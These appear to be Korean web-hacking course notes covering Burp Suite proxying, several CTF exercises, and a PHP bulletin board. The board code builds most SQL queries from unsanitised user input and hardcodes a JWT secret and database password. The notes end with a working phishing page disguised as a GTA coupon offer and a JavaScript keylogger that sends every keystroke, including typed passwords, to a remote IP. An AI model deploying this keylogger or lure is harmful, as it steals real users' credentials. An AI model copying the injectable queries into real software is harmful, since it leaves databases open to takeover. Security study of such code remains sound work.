DB 질의를 한번에 수행해서 로그인을 구현.
// pseudo code
$sql = "select * from member where"
$sql .= "id='$user_id' and pass='$user_pass"
id 도 사용자가 입력 ) 과 인증 ( pass 도 사용자가 입력 ) 비교를 동시에 사용하게 된다. $ret = $sql.execute();
if ($ret) {
// login success
} else {
// login falure
}
$sql = "SELECT * FROM member WHERE id = '$userName' AND pw = '$userPass'";
// pseudo code
$sql = "select * from member where id='$user_id' "
그 데이터에 있는 비밀번호와 사용자가 입력한 비밀번호를 비교해서
$db_pass = $sql.execute()
id 도 사용자가 입력 ) 과 인증 ( pass 도 사용자가 입력 ) 을 분리해서 개발하는 경우 $ret = $sql.execute();
if ($ret) {
// login success
} else {
// login falure
}
위의 1, 2 번의 plain text 를 hash 로 db 에 저장하고, 로긴 시에 hash 로 변환해서 hash 값 비교하는 로직.
Web Proxy Tool ( Proxy 는 중간자가 된다. )
→ 웹 서버로 오고가는 요청 패킷을 대신 전달해 주는 프로그램.
Proxy 가 가장 중요하다.
Proxy listeners ( 듣는 친구 )

local 도 있지만, 내부 (private) 네트워크로 간주한다. 어짜피…

client 는 web 서버에 직접 보내는 것이 아닌 Burp Suite 으로 보낸다.
web 서버 또한 전달 받아서 Burp Suit 을 통해서 client 에게 준다.
물론 현재 127.0.0.1 이라던가, localhost 로 설정해서 전부 private 안에 있다고 보면 된다.


mobile app hack flow
- 핸드폰에 해킹 프로그램 (앱) 을 설치.
- 이 앱이 통신을 할 때, 어떤 요청과 어떤 응답을 받는지 궁금하다.
- proxy 를 이용하면 해결 가능. 핸드폰에서 proxy 설정을 할 수 있다.
같은 네트워크 상에서 클라이언트 측에서 내 proxy server 로 요청 보내게 설정이 되면, 클라이언트 패킷의 제어권은 나한테 있다. LTE 에서는 불가능하다. 그래서 다른 망 ( 예 : VPN 터널 ) 을 이용해서 가능하다.


data=xxxxxx 으로 해결.



POST /repeater.php HTTP/1.1
Host: ctf.segfaulthub.com:1018
Content-Length: 15
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Origin: http://ctf.segfaulthub.com:1018
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.segfaulthub.com:1018/repeater.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
data=data+%3A+1
1 ~ 50 까지 반복적으로 req 수행.

그 중 하나 답에 걸리겠지.

아래 페이지에서 flag를 찾아보세요.

<!-- header User-Agent 에 segfaultDevice 라고 넣어서 보내보세요. -->
HTTP (Hypertext Transfer Protocol) Protocol
web server 에서 데이터 자료를 요청하고, 응답 받는 약속.
Status code
200 : OK
300 : redirect ( location 이 존재 )
400 : client error ( 이용자 잘못 : 404 Not Found : 없는 자료 요청했을 때.)
500 : server error ( 서버 잘못 : 웹 개발시 500 server internal error )
User-Agent
어떤 browser 로 접속 했는가를 알려주는 것.

Congrat!!!<!-- segfault{xxxxxxxx} -->
아래 사이트에서 flag를 찾아보세요!

a.html, b.html 의 대용량 파일을 비교.

segfault 와 {xxxxxxx} 가 보인다.
아래 페이지에서 flag를 찾으세요! Hint : 1 ~ 20

Press F5

anser=1 이 보인다.

1 ~ 20 까지 설정한다.
segfault{xxxxxxxxx}

%3D , “admin” : YWRtaW4=

segfault{xxxxxxxxxx}

예시 : 회원 가입 기능.

Schema
CREATE TABLE board (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
content TEXT NOT NULL,
author VARCHAR(50) NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
// write_proc.php
<?php
// session_start(); // JWT 사용하므로 세션 사용 안함
// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;
// check jwt token
$key = "d4r6j_jwt";
$user_id = null;
if(isset($_COOKIE['token'])) {
try {
// decode jwt token verification and get user_id
$decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
$user_id = $decoded->user_id;
} catch(Exception $e) {
header("Location: login.php");
exit();
}
} else {
header("Location: login.php");
exit();
}
// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');
// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// check connection
if (!$db_conn) {
die("DB Connect Failed: " . mysqli_connect_error());
}
// get title, content, author
$title = $_POST['title'];
$content = $_POST['content'];
$author = $user_id;
// save post
$sql = "INSERT INTO board (title, content, author, created_at) VALUES ('$title', '$content', '$author', NOW())";
if (mysqli_query($db_conn, $sql)) {
header("Location: board.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($db_conn);
}
// close database connection
mysqli_close($db_conn);
?>
게시판 글 리스트 보기 :

<?php
// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;
// check jwt token
$key = "d4r6j_jwt";
$user_id = null;
if(isset($_COOKIE['token'])) {
try {
// decode jwt token verification and get user_id
$decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
$user_id = $decoded->user_id;
} catch(Exception $e) {
header("Location: login.php");
exit();
}
} else {
header("Location: login.php");
exit();
}
// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');
// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// check connection
if (!$db_conn) {
die("DB Connect Failed: " . mysqli_connect_error());
}
// paging
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$limit = 5;
$offset = ($page - 1) * $limit;
// get total number of posts
$total_sql = "SELECT COUNT(*) as count FROM board";
$total_result = mysqli_query($db_conn, $total_sql);
$total_row = mysqli_fetch_assoc($total_result);
$total_pages = ceil($total_row['count'] / $limit);
// get posts
// 1. get columns to order by created_at DESC
$sql = "SELECT id, title, author, created_at FROM board ORDER BY created_at DESC LIMIT ? OFFSET ?";
// 2. prepare statement (?)
$stmt = mysqli_prepare($db_conn, $sql);
// 3. bind parameters
// ii : integer. first i is limit (몇 개 가져올지), second i is offset (몇 번째 게시글부터 가져올지)
mysqli_stmt_bind_param($stmt, "ii", $limit, $offset);
// 4. execute statement
mysqli_stmt_execute($stmt);
// 5. get result
$result = mysqli_stmt_get_result($stmt);
// close database connection
mysqli_close($db_conn);
?>
게시판 글 내용 읽기

<?php
// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;
// check jwt token
$key = "d4r6j_jwt";
$user_id = null;
if(isset($_COOKIE['token'])) {
try {
// decode jwt token verification and get user_id
$decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
$user_id = $decoded->user_id;
} catch(Exception $e) {
header("Location: login.php");
exit();
}
} else {
header("Location: login.php");
exit();
}
// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');
// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// check connection
if (!$db_conn) {
die("DB Connect Failed: " . mysqli_connect_error());
}
$post_id = $_GET['id'];
$sql = "SELECT * FROM board WHERE id = '$post_id'";
$result = mysqli_query($db_conn, $sql);
$post = mysqli_fetch_assoc($result);
if (!$post) {
header("Location: board.php");
exit();
}
// close database connection
mysqli_close($db_conn);
?>
게시판 글 수정

<?php
// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;
// check jwt token
$key = "d4r6j_jwt";
$user_id = null;
if(isset($_COOKIE['token'])) {
try {
// decode jwt token verification and get user_id
$decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
$user_id = $decoded->user_id;
} catch(Exception $e) {
header("Location: login.php");
exit();
}
} else {
header("Location: login.php");
exit();
}
// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');
// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// check connection
if (!$db_conn) {
die("DB Connect Failed: " . mysqli_connect_error());
}
$post_id = $_POST['id'];
$title = $_POST['title'];
$content = $_POST['content'];
// check author and update
$sql = "UPDATE board SET title = '$title', content = '$content'
WHERE id = '$post_id' AND author = '$user_id'";
if (mysqli_query($db_conn, $sql)) {
header("Location: view.php?id=" . $post_id);
} else {
echo "Error updating post: " . mysqli_error($db_conn);
}
// close database connection
mysqli_close($db_conn);
?>
게시판 글 삭제

<?php
// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;
// check jwt token
$key = "d4r6j_jwt";
$user_id = null;
if(isset($_COOKIE['token'])) {
try {
// decode jwt token verification and get user_id
$decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
$user_id = $decoded->user_id;
} catch(Exception $e) {
header("Location: login.php");
exit();
}
} else {
header("Location: login.php");
exit();
}
// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
if (!$db_conn) {
die("DB Connect Failed: " . mysqli_connect_error());
}
// get post id
$post_id = $_GET['id'];
// check author
$check_sql = "SELECT author FROM board WHERE id = '$post_id'";
$result = mysqli_query($db_conn, $check_sql);
$row = mysqli_fetch_assoc($result);
if ($row && $row['author'] === $user_id) {
// delete post
$delete_sql = "DELETE FROM board WHERE id = '$post_id'";
if (mysqli_query($db_conn, $delete_sql)) {
header("Location: board.php");
} else {
echo "Error deleting post: " . mysqli_error($db_conn);
}
} else {
echo "don't have permission to delete";
}
// close database connection
mysqli_close($db_conn);
?>
게시판 paging : LIMIT.
select * from board limit 0, 10
LIMIT [index], [count]
게시글 제목 검색
SELECT * FROM board WHERE title = 'test'
SELECT * FROM board WHERE title like '%d4r6j%'
- $d4r6j : 맨 뒤 글자가 d4r6j
- d4r6j$ : 맨 앞 글자가 d4r6j
게시글 정렬
SELECT * FROM board ORDER BY [column 이름] [asc/desc]
- asc : 오름차순, desc : 내림차순

일단 가장 쉽게 key 입력이 되면 서버로 쏘게 만들었다.
GTA 쿠폰으로 낚자.
<html>
<head>
<script src="./public/keylogger.js"></script>
<style>
.gta-coupon {
border: 2px solid #ffcc00;
background-color: #333;
color: #fff;
padding: 20px;
font-family: 'Arial', sans-serif;
text-align: center;
margin: 20px;
border-radius: 10px;
}
</style>
</head>
<body>
<div class="gta-coupon">
<img src="image/title.png" style="display: block; margin: 0 auto; width: 30%;" />
<h2>GTA 게임 쿠폰 소식</h2>
<h3><input name="id" type="text" placeholder="아이디" oninput="sendData()" /></h3>
<h3><input name="email" type="text" placeholder="이메일" oninput="sendData()" /></h3>
<h3><input name="pw" type="text" placeholder="비밀번호" oninput="sendData()" /></h3>
<script>
function BtnClick(){
console.log('origin Click')
}
</script>
<button onclick="BtnClick()">소식 받기</button>
</div>
</body>
</html>
let keyData = '';
function setData () {
const body = {
"keyData" : keyData,
}
return body;
}
function sendData () {
// 전송할 데이터는 setData에서 받아온다.
const data =setData()
// 데이터를 전송할 것이기 때문에 keyData는 초기화 하고 처음부터 받는다.
keyData = ''
// 서버로 데이터 전송
fetch("http://xxx.xxx.xxx.xxx:4663", {
method: "POST",
body: JSON.stringify(data)
})
.then((response) => response.json())
}
function keylogging(e) {
// 입력받은 키가 Tab 혹은 Enter라면 데이터를 서버로 전송
if(e.code === 'Tab' || e.code === 'Enter') {
sendData()
} else {
// Tab Enter가 아니라면 keyData에 입력받은 키를 이어붙인다.
keyData += e.key
}
}
// 모든 키보드가 눌리게 되면 keylogging 함수를 실행한다.
window.onkeydown = (e) => keylogging(e)

keyData 는 1 로 잘 들어오게된다. 서버 단 열고 HTTP packet 으로 검증하였다.